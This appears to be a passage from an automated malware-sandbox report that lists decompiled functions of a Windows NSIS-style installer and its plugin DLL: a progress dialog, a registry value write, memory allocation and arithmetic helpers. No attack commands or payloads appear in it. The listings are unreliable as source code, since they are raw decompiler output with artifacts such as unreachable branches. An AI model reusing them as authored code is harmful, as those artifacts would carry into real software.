                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Message$Send$ClientScreen
                                                                                                        • String ID: f
                                                                                                        • API String ID: 41195575-1993550816
                                                                                                        • Opcode ID: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
                                                                                                        • Instruction ID: 01d6173a61c3c3b4b037133c9a52f1e04ee3049876a8ff08b59bebc5d15cf036
                                                                                                        • Opcode Fuzzy Hash: 2a5698d5089c35727aab5c3c5da7bcfb0b51a0b1d2cb1bbeaafe9db8233e3477
                                                                                                        • Instruction Fuzzy Hash: BA018075D40218BADB00DB94CC41BFEBBBCAB55711F10412ABB00B61C0C3B46501CB95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 100%
                                                                                                        			E00402B3B(struct HWND__* _a4, intOrPtr _a8) {
                                                                                                        				char _v68;
                                                                                                        				void* _t11;
                                                                                                        				CHAR* _t19;
                                                                                                        
                                                                                                        				if(_a8 == 0x110) {
                                                                                                        					SetTimer(_a4, 1, 0xfa, 0);
                                                                                                        					_a8 = 0x113;
                                                                                                        				}
                                                                                                        				if(_a8 == 0x113) {
                                                                                                        					_t11 = E00402BB7();
                                                                                                        					_t19 = "unpacking data: %d%%";
                                                                                                        					if( *0x423eb0 == 0) {
                                                                                                        						_t19 = "verifying installer: %d%%";
                                                                                                        					}
                                                                                                        					wsprintfA( &_v68, _t19, _t11);
                                                                                                        					SetWindowTextA(_a4,  &_v68);
                                                                                                        					SetDlgItemTextA(_a4, 0x406,  &_v68);
                                                                                                        				}
                                                                                                        				return 0;
                                                                                                        			}






                                                                                                        0x00402b48
                                                                                                        0x00402b56
                                                                                                        0x00402b5c
                                                                                                        0x00402b5c
                                                                                                        0x00402b6a
                                                                                                        0x00402b6c
                                                                                                        0x00402b78
                                                                                                        0x00402b7d
                                                                                                        0x00402b7f
                                                                                                        0x00402b7f
                                                                                                        0x00402b8a
                                                                                                        0x00402b9a
                                                                                                        0x00402bac
                                                                                                        0x00402bac
                                                                                                        0x00402bb4

                                                                                                        APIs
                                                                                                        • SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B56
                                                                                                        • wsprintfA.USER32 ref: 00402B8A
                                                                                                        • SetWindowTextA.USER32(?,?), ref: 00402B9A
                                                                                                        • SetDlgItemTextA.USER32 ref: 00402BAC
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Text$ItemTimerWindowwsprintf
                                                                                                        • String ID: unpacking data: %d%%$verifying installer: %d%%
                                                                                                        • API String ID: 1451636040-1158693248
                                                                                                        • Opcode ID: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
                                                                                                        • Instruction ID: 39266fd7d8b3d51d4259f470751267aa52f8e49dbca779dff7f29341b6a717b4
                                                                                                        • Opcode Fuzzy Hash: a19141f3df1e0a3c8b8c2abcbd515ef60a2dd56e778219f0b9cb34bd20a9fb2d
                                                                                                        • Instruction Fuzzy Hash: AFF03671900109ABEF255F51DD0ABEE3779FB00305F008036FA05B51D1D7F9AA559F99
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 86%
                                                                                                        			E6FC722F1(void* __edx, intOrPtr _a4) {
                                                                                                        				signed int _v4;
                                                                                                        				signed int _v8;
                                                                                                        				void* _t38;
                                                                                                        				signed int _t39;
                                                                                                        				void* _t40;
                                                                                                        				void* _t43;
                                                                                                        				void* _t48;
                                                                                                        				signed int* _t50;
                                                                                                        				signed char* _t51;
                                                                                                        
                                                                                                        				_v8 = 0 |  *((intOrPtr*)(_a4 + 0x814)) > 0x00000000;
                                                                                                        				while(1) {
                                                                                                        					_t9 = _a4 + 0x818; // 0x818
                                                                                                        					_t51 = (_v8 << 5) + _t9;
                                                                                                        					_t38 = _t51[0x18];
                                                                                                        					if(_t38 == 0) {
                                                                                                        						goto L9;
                                                                                                        					}
                                                                                                        					_t48 = 0x1a;
                                                                                                        					if(_t38 == _t48) {
                                                                                                        						goto L9;
                                                                                                        					}
                                                                                                        					if(_t38 != 0xffffffff) {
                                                                                                        						if(_t38 <= 0 || _t38 > 0x19) {
                                                                                                        							_t51[0x18] = _t48;
                                                                                                        						} else {
                                                                                                        							_t38 = E6FC712AD(_t38 - 1);
                                                                                                        							L10:
                                                                                                        						}
                                                                                                        						goto L11;
                                                                                                        					} else {
                                                                                                        						_t38 = E6FC7123B();
                                                                                                        						L11:
                                                                                                        						_t43 = _t38;
                                                                                                        						_t13 =  &(_t51[8]); // 0x820
                                                                                                        						_t50 = _t13;
                                                                                                        						if(_t51[4] >= 0) {
                                                                                                        						}
                                                                                                        						_t39 =  *_t51 & 0x000000ff;
                                                                                                        						_t51[0x1c] = _t51[0x1c] & 0x00000000;
                                                                                                        						_v4 = _t39;
                                                                                                        						if(_t39 > 7) {
                                                                                                        							L27:
                                                                                                        							_t40 = GlobalFree(_t43);
                                                                                                        							if(_v8 == 0) {
                                                                                                        								return _t40;
                                                                                                        							}
                                                                                                        							if(_v8 !=  *((intOrPtr*)(_a4 + 0x814))) {
                                                                                                        								_v8 = _v8 + 1;
                                                                                                        							} else {
                                                                                                        								_v8 = _v8 & 0x00000000;
                                                                                                        							}
                                                                                                        							continue;
                                                                                                        						} else {
                                                                                                        							switch( *((intOrPtr*)(_t39 * 4 +  &M6FC7247E))) {
                                                                                                        								case 0:
                                                                                                        									 *_t50 =  *_t50 & 0x00000000;
                                                                                                        									goto L27;
                                                                                                        								case 1:
                                                                                                        									__eax = E6FC712FE(__ebx);
                                                                                                        									goto L20;
                                                                                                        								case 2:
                                                                                                        									 *__ebp = E6FC712FE(__ebx);
                                                                                                        									_a4 = __edx;
                                                                                                        									goto L27;
                                                                                                        								case 3:
                                                                                                        									__eax = E6FC71224(__ebx);
                                                                                                        									 *(__esi + 0x1c) = __eax;
                                                                                                        									L20:
                                                                                                        									 *__ebp = __eax;
                                                                                                        									goto L27;
                                                                                                        								case 4:
                                                                                                        									 *0x6fc7405c =  *0x6fc7405c +  *0x6fc7405c;
                                                                                                        									__edi = GlobalAlloc(0x40,  *0x6fc7405c +  *0x6fc7405c);
                                                                                                        									 *0x6fc7405c = MultiByteToWideChar(0, 0, __ebx,  *0x6fc7405c, __edi,  *0x6fc7405c);
                                                                                                        									if(_v4 != 5) {
                                                                                                        										 *(__esi + 0x1c) = __edi;
                                                                                                        										 *__ebp = __edi;
                                                                                                        									} else {
                                                                                                        										__eax = GlobalAlloc(0x40, 0x10);
                                                                                                        										_push(__eax);
                                                                                                        										 *(__esi + 0x1c) = __eax;
                                                                                                        										_push(__edi);
                                                                                                        										 *__ebp = __eax;
                                                                                                        										__imp__CLSIDFromString();
                                                                                                        										__eax = GlobalFree(__edi);
                                                                                                        									}
                                                                                                        									goto L27;
                                                                                                        								case 5:
                                                                                                        									if( *__ebx != 0) {
                                                                                                        										__eax = E6FC712FE(__ebx);
                                                                                                        										 *__edi = __eax;
                                                                                                        									}
                                                                                                        									goto L27;
                                                                                                        								case 6:
                                                                                                        									__esi =  *(__esi + 0x18);
                                                                                                        									__esi = __esi - 1;
                                                                                                        									__esi = __esi *  *0x6fc7405c;
                                                                                                        									__esi = __esi +  *0x6fc74064;
                                                                                                        									__eax = __esi + 0xc;
                                                                                                        									 *__edi = __esi + 0xc;
                                                                                                        									asm("cdq");
                                                                                                        									__eax = E6FC71429(__edx, __esi + 0xc, __edx, __esi);
                                                                                                        									goto L27;
                                                                                                        							}
                                                                                                        						}
                                                                                                        					}
                                                                                                        					L9:
                                                                                                        					_t38 = E6FC71224(0x6fc74034);
                                                                                                        					goto L10;
                                                                                                        				}
                                                                                                        			}












                                                                                                        0x6fc72306
                                                                                                        0x6fc7230a
                                                                                                        0x6fc72315
                                                                                                        0x6fc72315
                                                                                                        0x6fc7231c
                                                                                                        0x6fc72321
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72325
                                                                                                        0x6fc72328
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7232d
                                                                                                        0x6fc72338
                                                                                                        0x6fc72348
                                                                                                        0x6fc7233f
                                                                                                        0x6fc72341
                                                                                                        0x6fc72357
                                                                                                        0x6fc72357
                                                                                                        0x00000000
                                                                                                        0x6fc7232f
                                                                                                        0x6fc7232f
                                                                                                        0x6fc72358
                                                                                                        0x6fc7235c
                                                                                                        0x6fc7235e
                                                                                                        0x6fc7235e
                                                                                                        0x6fc72361
                                                                                                        0x6fc72361
                                                                                                        0x6fc72369
                                                                                                        0x6fc7236c
                                                                                                        0x6fc72373
                                                                                                        0x6fc72377
                                                                                                        0x6fc72446
                                                                                                        0x6fc72447
                                                                                                        0x6fc72452
                                                                                                        0x6fc7247d
                                                                                                        0x6fc7247d
                                                                                                        0x6fc72462
                                                                                                        0x6fc7246e
                                                                                                        0x6fc72464
                                                                                                        0x6fc72464
                                                                                                        0x6fc72464
                                                                                                        0x00000000
                                                                                                        0x6fc7237d
                                                                                                        0x6fc7237d
                                                                                                        0x00000000
                                                                                                        0x6fc72384
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7238d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7239b
                                                                                                        0x6fc7239e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc723a7
                                                                                                        0x6fc723ac
                                                                                                        0x6fc723af
                                                                                                        0x6fc723b0
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc723bd
                                                                                                        0x6fc723c8
                                                                                                        0x6fc723d7
                                                                                                        0x6fc723e2
                                                                                                        0x6fc72405
                                                                                                        0x6fc72408
                                                                                                        0x6fc723e4
                                                                                                        0x6fc723e8
                                                                                                        0x6fc723ee
                                                                                                        0x6fc723ef
                                                                                                        0x6fc723f2
                                                                                                        0x6fc723f3
                                                                                                        0x6fc723f6
                                                                                                        0x6fc723fd
                                                                                                        0x6fc723fd
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72410
                                                                                                        0x6fc72413
                                                                                                        0x6fc7241f
                                                                                                        0x6fc72421
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc72424
                                                                                                        0x6fc72427
                                                                                                        0x6fc72428
                                                                                                        0x6fc7242f
                                                                                                        0x6fc72436
                                                                                                        0x6fc72439
                                                                                                        0x6fc7243b
                                                                                                        0x6fc7243e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc7237d
                                                                                                        0x6fc72377
                                                                                                        0x6fc7234d
                                                                                                        0x6fc72352
                                                                                                        0x00000000
                                                                                                        0x6fc72352

                                                                                                        APIs
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC72447
                                                                                                          • Part of subcall function 6FC71224: lstrcpynA.KERNEL32(00000000,?,6FC712CF,-6FC7404B,6FC711AB,-000000A0), ref: 6FC71234
                                                                                                        • GlobalAlloc.KERNEL32(00000040,?), ref: 6FC723C2
                                                                                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?), ref: 6FC723D7
                                                                                                        • GlobalAlloc.KERNEL32(00000040,00000010), ref: 6FC723E8
                                                                                                        • CLSIDFromString.OLE32(00000000,00000000), ref: 6FC723F6
                                                                                                        • GlobalFree.KERNEL32 ref: 6FC723FD
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.659624848.000000006FC71000.00000020.00020000.sdmp, Offset: 6FC70000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.659611892.000000006FC70000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659642183.000000006FC73000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.659649861.000000006FC75000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Global$AllocFree$ByteCharFromMultiStringWidelstrcpyn
                                                                                                        • String ID:
                                                                                                        • API String ID: 3730416702-0
                                                                                                        • Opcode ID: b29919009f5f97b75c82ee3eb5d15de2f950a72889fcfbf8ed039925cbc5f2d9
                                                                                                        • Instruction ID: b1f2be91cc79c64ace18546ed7edda31fd5e11f1f328ce6da84eb8729df7b513
                                                                                                        • Opcode Fuzzy Hash: b29919009f5f97b75c82ee3eb5d15de2f950a72889fcfbf8ed039925cbc5f2d9
                                                                                                        • Instruction Fuzzy Hash: CB418BB1508741EFD7308F6A8954BAAB7F8FF81321F00895EE565DA190EF30A548CF62
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 90%
                                                                                                        			E00402303(void* __eax) {
                                                                                                        				void* _t15;
                                                                                                        				char* _t18;
                                                                                                        				int _t19;
                                                                                                        				char _t24;
                                                                                                        				int _t27;
                                                                                                        				intOrPtr _t35;
                                                                                                        				void* _t37;
                                                                                                        
                                                                                                        				_t15 = E00402AEB(__eax);
                                                                                                        				_t35 =  *((intOrPtr*)(_t37 - 0x14));
                                                                                                        				 *(_t37 - 0x30) =  *(_t37 - 0x10);
                                                                                                        				 *(_t37 - 0x44) = E004029F6(2);
                                                                                                        				_t18 = E004029F6(0x11);
                                                                                                        				_t31 =  *0x423f50 | 0x00000002;
                                                                                                        				 *(_t37 - 4) = 1;
                                                                                                        				_t19 = RegCreateKeyExA(_t15, _t18, _t27, _t27, _t27,  *0x423f50 | 0x00000002, _t27, _t37 + 8, _t27);
                                                                                                        				if(_t19 == 0) {
                                                                                                        					if(_t35 == 1) {
                                                                                                        						E004029F6(0x23);
                                                                                                        						_t19 = lstrlenA(0x40a370) + 1;
                                                                                                        					}
                                                                                                        					if(_t35 == 4) {
                                                                                                        						_t24 = E004029D9(3);
                                                                                                        						 *0x40a370 = _t24;
                                                                                                        						_t19 = _t35;
                                                                                                        					}
                                                                                                        					if(_t35 == 3) {
                                                                                                        						_t19 = E00402F18(_t31,  *((intOrPtr*)(_t37 - 0x18)), _t27, 0x40a370, 0xc00);
                                                                                                        					}
                                                                                                        					if(RegSetValueExA( *(_t37 + 8),  *(_t37 - 0x44), _t27,  *(_t37 - 0x30), 0x40a370, _t19) == 0) {
                                                                                                        						 *(_t37 - 4) = _t27;
                                                                                                        					}
                                                                                                        					_push( *(_t37 + 8));
                                                                                                        					RegCloseKey();
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *(_t37 - 4);
                                                                                                        				return 0;
                                                                                                        			}










                                                                                                        0x00402304
                                                                                                        0x00402309
                                                                                                        0x00402313
                                                                                                        0x0040231d
                                                                                                        0x00402320
                                                                                                        0x00402330
                                                                                                        0x0040233a
                                                                                                        0x00402341
                                                                                                        0x00402349
                                                                                                        0x00402357
                                                                                                        0x0040235b
                                                                                                        0x00402366
                                                                                                        0x00402366
                                                                                                        0x0040236a
                                                                                                        0x0040236e
                                                                                                        0x00402374
                                                                                                        0x00402379
                                                                                                        0x00402379
                                                                                                        0x0040237d
                                                                                                        0x00402389
                                                                                                        0x00402389
                                                                                                        0x004023a2
                                                                                                        0x004023a4
                                                                                                        0x004023a4
                                                                                                        0x004023a7
                                                                                                        0x0040247d
                                                                                                        0x0040247d
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • RegCreateKeyExA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402341
                                                                                                        • lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402361
                                                                                                        • RegSetValueExA.ADVAPI32(?,?,?,?,C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040239A
                                                                                                        • RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040247D
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: CloseCreateValuelstrlen
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp\nsm5CFC.tmp
                                                                                                        • API String ID: 1356686001-2347116568
                                                                                                        • Opcode ID: 7863a0f49a6f39dd7089a52df85a66d0e401da730b8a2c07c6ee90d0110cbeae
                                                                                                        • Instruction ID: d7b132d9018d44432a73f3315d2b91b6aa1600c7a927e9fa70905f900517fa5a
                                                                                                        • Opcode Fuzzy Hash: 7863a0f49a6f39dd7089a52df85a66d0e401da730b8a2c07c6ee90d0110cbeae
                                                                                                        • Instruction Fuzzy Hash: BA1160B1E00209BFEB10AFA0DE49EAF767CFB54398F10413AF905B61D0D7B85D019669
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 97%
                                                                                                        			E6FC71837(signed int __edx, void* __eflags, void* _a8, void* _a16) {
                                                                                                        				void* _v8;
                                                                                                        				signed int _v12;
                                                                                                        				signed int _v20;
                                                                                                        				signed int _v24;
                                                                                                        				char _v52;
                                                                                                        				void _t45;
                                                                                                        				void _t46;
                                                                                                        				signed int _t47;
                                                                                                        				signed int _t48;
                                                                                                        				signed int _t57;
                                                                                                        				signed int _t58;
                                                                                                        				signed int _t59;
                                                                                                        				signed int _t60;
                                                                                                        				signed int _t61;
                                                                                                        				void* _t67;
                                                                                                        				void* _t68;
                                                                                                        				void* _t69;
                                                                                                        				void* _t70;
                                                                                                        				void* _t71;
                                                                                                        				signed int _t77;
                                                                                                        				void* _t81;
                                                                                                        				signed int _t83;
                                                                                                        				signed int _t85;
                                                                                                        				signed int _t87;
                                                                                                        				signed int _t90;
                                                                                                        				void* _t101;
                                                                                                        
                                                                                                        				_t85 = __edx;
                                                                                                        				 *0x6fc7405c = _a8;
                                                                                                        				_t77 = 0;
                                                                                                        				 *0x6fc74060 = _a16;
                                                                                                        				_v12 = 0;
                                                                                                        				_v8 = E6FC7123B();
                                                                                                        				_t90 = E6FC712FE(_t42);
                                                                                                        				_t87 = _t85;
                                                                                                        				_t81 = E6FC7123B();
                                                                                                        				_a8 = _t81;
                                                                                                        				_t45 =  *_t81;
                                                                                                        				if(_t45 != 0x7e && _t45 != 0x21) {
                                                                                                        					_a16 = E6FC7123B();
                                                                                                        					_t77 = E6FC712FE(_t74);
                                                                                                        					_v12 = _t85;
                                                                                                        					GlobalFree(_a16);
                                                                                                        					_t81 = _a8;
                                                                                                        				}
                                                                                                        				_t46 =  *_t81;
                                                                                                        				_t101 = _t46 - 0x2f;
                                                                                                        				if(_t101 > 0) {
                                                                                                        					_t47 = _t46 - 0x3c;
                                                                                                        					__eflags = _t47;
                                                                                                        					if(_t47 == 0) {
                                                                                                        						__eflags =  *((char*)(_t81 + 1)) - 0x3c;
                                                                                                        						if( *((char*)(_t81 + 1)) != 0x3c) {
                                                                                                        							__eflags = _t87 - _v12;
                                                                                                        							if(__eflags > 0) {
                                                                                                        								L56:
                                                                                                        								_t48 = 0;
                                                                                                        								__eflags = 0;
                                                                                                        								L57:
                                                                                                        								asm("cdq");
                                                                                                        								L58:
                                                                                                        								_t90 = _t48;
                                                                                                        								_t87 = _t85;
                                                                                                        								L59:
                                                                                                        								E6FC71429(_t85, _t90, _t87,  &_v52);
                                                                                                        								E6FC71266( &_v52);
                                                                                                        								GlobalFree(_v8);
                                                                                                        								return GlobalFree(_a8);
                                                                                                        							}
                                                                                                        							if(__eflags < 0) {
                                                                                                        								L49:
                                                                                                        								__eflags = 0;
                                                                                                        								L50:
                                                                                                        								_t48 = 1;
                                                                                                        								goto L57;
                                                                                                        							}
                                                                                                        							__eflags = _t90 - _t77;
                                                                                                        							if(_t90 < _t77) {
                                                                                                        								goto L49;
                                                                                                        							}
                                                                                                        							goto L56;
                                                                                                        						}
                                                                                                        						_t85 = _t87;
                                                                                                        						_t48 = E6FC72EF0(_t90, _t77, _t85);
                                                                                                        						goto L58;
                                                                                                        					}
                                                                                                        					_t57 = _t47 - 1;
                                                                                                        					__eflags = _t57;
                                                                                                        					if(_t57 == 0) {
                                                                                                        						__eflags = _t90 - _t77;
                                                                                                        						if(_t90 != _t77) {
                                                                                                        							goto L56;
                                                                                                        						}
                                                                                                        						__eflags = _t87 - _v12;
                                                                                                        						if(_t87 != _v12) {
                                                                                                        							goto L56;
                                                                                                        						}
                                                                                                        						goto L49;
                                                                                                        					}
                                                                                                        					_t58 = _t57 - 1;
                                                                                                        					__eflags = _t58;
                                                                                                        					if(_t58 == 0) {
                                                                                                        						__eflags =  *((char*)(_t81 + 1)) - 0x3e;
                                                                                                        						if( *((char*)(_t81 + 1)) != 0x3e) {
                                                                                                        							__eflags = _t87 - _v12;
                                                                                                        							if(__eflags < 0) {
                                                                                                        								goto L56;
                                                                                                        							}
                                                                                                        							if(__eflags > 0) {
                                                                                                        								goto L49;
                                                                                                        							}
                                                                                                        							__eflags = _t90 - _t77;
                                                                                                        							if(_t90 <= _t77) {
                                                                                                        								goto L56;
                                                                                                        							}
                                                                                                        							goto L49;
                                                                                                        						}
                                                                                                        						__eflags =  *((char*)(_t81 + 2)) - 0x3e;
                                                                                                        						_t85 = _t87;
                                                                                                        						_t59 = _t90;
                                                                                                        						_t83 = _t77;
                                                                                                        						if( *((char*)(_t81 + 2)) != 0x3e) {
                                                                                                        							_t48 = E6FC72F10(_t59, _t83, _t85);
                                                                                                        						} else {
                                                                                                        							_t48 = E6FC72F40(_t59, _t83, _t85);
                                                                                                        						}
                                                                                                        						goto L58;
                                                                                                        					}
                                                                                                        					_t60 = _t58 - 0x20;
                                                                                                        					__eflags = _t60;
                                                                                                        					if(_t60 == 0) {
                                                                                                        						_t90 = _t90 ^ _t77;
                                                                                                        						_t87 = _t87 ^ _v12;
                                                                                                        						goto L59;
                                                                                                        					}
                                                                                                        					_t61 = _t60 - 0x1e;
                                                                                                        					__eflags = _t61;
                                                                                                        					if(_t61 == 0) {
                                                                                                        						__eflags =  *((char*)(_t81 + 1)) - 0x7c;
                                                                                                        						if( *((char*)(_t81 + 1)) != 0x7c) {
                                                                                                        							_t90 = _t90 | _t77;
                                                                                                        							_t87 = _t87 | _v12;
                                                                                                        							goto L59;
                                                                                                        						}
                                                                                                        						__eflags = _t90 | _t87;
                                                                                                        						if((_t90 | _t87) != 0) {
                                                                                                        							goto L49;
                                                                                                        						}
                                                                                                        						__eflags = _t77 | _v12;
                                                                                                        						if((_t77 | _v12) != 0) {
                                                                                                        							goto L49;
                                                                                                        						}
                                                                                                        						goto L56;
                                                                                                        					}
                                                                                                        					__eflags = _t61 == 0;
                                                                                                        					if(_t61 == 0) {
                                                                                                        						_t90 =  !_t90;
                                                                                                        						_t87 =  !_t87;
                                                                                                        					}
                                                                                                        					goto L59;
                                                                                                        				}
                                                                                                        				if(_t101 == 0) {
                                                                                                        					L21:
                                                                                                        					__eflags = _t77 | _v12;
                                                                                                        					if((_t77 | _v12) != 0) {
                                                                                                        						_v24 = E6FC72D80(_t90, _t87, _t77, _v12);
                                                                                                        						_v20 = _t85;
                                                                                                        						_t48 = E6FC72E30(_t90, _t87, _t77, _v12);
                                                                                                        						_t81 = _a8;
                                                                                                        					} else {
                                                                                                        						_v24 = _v24 & 0x00000000;
                                                                                                        						_v20 = _v20 & 0x00000000;
                                                                                                        						_t48 = _t90;
                                                                                                        						_t85 = _t87;
                                                                                                        					}
                                                                                                        					__eflags =  *_t81 - 0x2f;
                                                                                                        					if( *_t81 != 0x2f) {
                                                                                                        						goto L58;
                                                                                                        					} else {
                                                                                                        						_t90 = _v24;
                                                                                                        						_t87 = _v20;
                                                                                                        						goto L59;
                                                                                                        					}
                                                                                                        				}
                                                                                                        				_t67 = _t46 - 0x21;
                                                                                                        				if(_t67 == 0) {
                                                                                                        					_t48 = 0;
                                                                                                        					__eflags = _t90 | _t87;
                                                                                                        					if((_t90 | _t87) != 0) {
                                                                                                        						goto L57;
                                                                                                        					}
                                                                                                        					goto L50;
                                                                                                        				}
                                                                                                        				_t68 = _t67 - 4;
                                                                                                        				if(_t68 == 0) {
                                                                                                        					goto L21;
                                                                                                        				}
                                                                                                        				_t69 = _t68 - 1;
                                                                                                        				if(_t69 == 0) {
                                                                                                        					__eflags =  *((char*)(_t81 + 1)) - 0x26;
                                                                                                        					if( *((char*)(_t81 + 1)) != 0x26) {
                                                                                                        						_t90 = _t90 & _t77;
                                                                                                        						_t87 = _t87 & _v12;
                                                                                                        						goto L59;
                                                                                                        					}
                                                                                                        					__eflags = _t90 | _t87;
                                                                                                        					if((_t90 | _t87) == 0) {
                                                                                                        						goto L56;
                                                                                                        					}
                                                                                                        					__eflags = _t77 | _v12;
                                                                                                        					if((_t77 | _v12) == 0) {
                                                                                                        						goto L56;
                                                                                                        					}
                                                                                                        					goto L49;
                                                                                                        				}
                                                                                                        				_t70 = _t69 - 4;
                                                                                                        				if(_t70 == 0) {
                                                                                                        					_t48 = E6FC72D40(_t90, _t87, _t77, _v12);
                                                                                                        					goto L58;
                                                                                                        				} else {
                                                                                                        					_t71 = _t70 - 1;
                                                                                                        					if(_t71 == 0) {
                                                                                                        						_t90 = _t90 + _t77;
                                                                                                        						asm("adc edi, [ebp-0x8]");
                                                                                                        					} else {
                                                                                                        						if(_t71 == 0) {
                                                                                                        							_t90 = _t90 - _t77;
                                                                                                        							asm("sbb edi, [ebp-0x8]");
                                                                                                        						}
                                                                                                        					}
                                                                                                        					goto L59;
                                                                                                        				}
                                                                                                        			}





























                                                                                                        0x6fc71837
                                                                                                        0x6fc71841
                                                                                                        0x6fc7184a
                                                                                                        0x6fc7184d
                                                                                                        0x6fc71852
                                                                                                        0x6fc7185b
                                                                                                        0x6fc71864
                                                                                                        0x6fc71866
                                                                                                        0x6fc7186d
                                                                                                        0x6fc7186f
                                                                                                        0x6fc71872
                                                                                                        0x6fc71876
                                                                                                        0x6fc71882
                                                                                                        0x6fc7188b
                                                                                                        0x6fc71890
                                                                                                        0x6fc71893
                                                                                                        0x6fc71899
                                                                                                        0x6fc71899
                                                                                                        0x6fc7189c
                                                                                                        0x6fc7189f
                                                                                                        0x6fc718a2
                                                                                                        0x6fc71968
                                                                                                        0x6fc71968
                                                                                                        0x6fc7196b
                                                                                                        0x6fc719e5
                                                                                                        0x6fc719e9
                                                                                                        0x6fc719f8
                                                                                                        0x6fc719fb
                                                                                                        0x6fc71a03
                                                                                                        0x6fc71a03
                                                                                                        0x6fc71a03
                                                                                                        0x6fc71a05
                                                                                                        0x6fc71a05
                                                                                                        0x6fc71a06
                                                                                                        0x6fc71a06
                                                                                                        0x6fc71a08
                                                                                                        0x6fc71a0a
                                                                                                        0x6fc71a10
                                                                                                        0x6fc71a19
                                                                                                        0x6fc71a2a
                                                                                                        0x6fc71a35
                                                                                                        0x6fc71a35
                                                                                                        0x6fc719fd
                                                                                                        0x6fc719e0
                                                                                                        0x6fc719e0
                                                                                                        0x6fc719e2
                                                                                                        0x6fc719e2
                                                                                                        0x00000000
                                                                                                        0x6fc719e2
                                                                                                        0x6fc719ff
                                                                                                        0x6fc71a01
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x6fc71a01
                                                                                                        0x6fc719ed
                                                                                                        0x6fc719f1
                                                                                                        0x00000000
                                                                                                        0x6fc719f1
                                                                                                        0x6fc7196d
                                                                                                        0x6fc7196d
